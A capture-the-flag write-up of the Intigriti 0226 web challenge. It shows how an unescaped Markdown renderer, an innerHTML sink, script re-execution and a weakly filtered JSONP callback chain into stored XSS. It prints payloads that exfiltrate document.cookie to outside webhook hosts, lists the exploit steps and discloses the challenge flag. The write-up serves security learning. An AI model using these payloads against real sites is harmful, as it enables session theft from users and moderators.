Skip to main content

Command Palette

Search for a command to run...

Write-up: Intigriti 0226 challenge

Published
4 min read
Write-up: Intigriti 0226 challenge

Intigriti 0226 challenge by d3dn0v4

This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.

Let’s Get Started

In this challenge, you are provided with a file containing the source code of the web application used for the challenge. Before diving into the attack plan, let’s break down what this web app actually does.

  • Part 0x1

In file app.py, the Markdown renderer uses regex substitutions but treats the original input as trusted HTML:

def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content

Because there is no HTML sanitization/escaping, an attacker can include raw HTML tags including <script> in content, and they will remain present in the output.

  • Part 0x2

In preview.js, the application inserts the server rendered HTML directly into the page:

fetch('/api/render?id=' + postId)
        .then(function(response) {
            if (!response.ok) throw new Error('Failed to load');
            return response.json();
        })
        .then(function(data) {
            const preview = document.getElementById('preview');
            preview.innerHTML = data.html;
            processContent(preview);
        })
        .catch(function(error) {
            document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
        });

This is a DOM XSS sink because attacker controlled HTML is parsed and inserted into the DOM.

  • Part 0x3

Even if scripts inserted via innerHTML do not always execute automatically in some cases, the app includes logic that explicitly executes them by creating new <script> elements:


if (script.src && script.src.includes('/api/')) {
    const newScript = document.createElement('script');
    newScript.src = script.src;
    document.body.appendChild(newScript);
}

This ensures execution for any injected <script src=""> matching /api/. The site used a CSP similar to script-src 'self'. That sounds restrictive, but it still allows scripts from the same origin. Since /api/ endpoints are hosted on the same origin, scripts loaded from /api/... are fully allowed by CSP.

  • Part 0x4

The JSONP endpoint directly injects callback into JavaScript without proper validation:

@app.route('/api/jsonp')
def api_jsonp():
    callback = request.args.get('callback', 'handleData')
    
    if '<' in callback or '>' in callback:  # Filter ONLY < and >
        callback = 'handleData'
    
    response = f"{callback}({json.dumps(user_data)})"
    return Response(response, mimetype='application/javascript')

Filtering only < and > is insufficient because JavaScript injection does not require HTML tags. The attacker can supply a callback that is actually arbitrary JavaScript:

Example request

/api/jsonp?callback=fetch('https://test.com/'+document.cookie)//

Resulting response

fetch('https://test.com/'+document.cookie)//({})

Because the endpoint returns application/javascript, this is executed when loaded via a `<script src=>` tag

Now that we understand how it works, let’s break it.

Solution

Attacker creates a post containing a <script> tag pointing to /api/jsonp with a malicious callback payload. The preview feature renders content into the DOM via innerHTML. Client-side code re-inserts /api/ scripts by creating new <script> elements, ensuring execution.The JSONP endpoint returns attacker-controlled JavaScript, which runs under the application origin. Sensitive data (e.g., moderator cookies) can be exfiltrated to an attacker-controlled endpoint.

payload : <script src="/api/jsonp?callback=fetch('https://webhookexample.com/?c='.concat(document.cookie))//"></script>

Exploit Steps:

  1. Register and log in.

  2. Create a post and inject the payload above into the post content.

  3. Click “Report to Moderator”

  4. Observe the webhook receiving the victim’s document.cookie.

The application is vulnerable to stored DOM-based XSS due to an unsafe Markdown renderer that outputs attacker-controlled HTML, which is then inserted into the DOM using innerHTML. The impact is escalated by client-side logic that explicitly re-executes <script> tags referencing /api/ paths. An additional flaw in /api/jsonp allows JavaScript injection via an unvalidated callback parameter, enabling same-origin script execution under script-src 'self'.

This chain leads to account compromise and data exfiltration moderator cookies when privileged users view malicious content.

Final Flag

INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}

124 views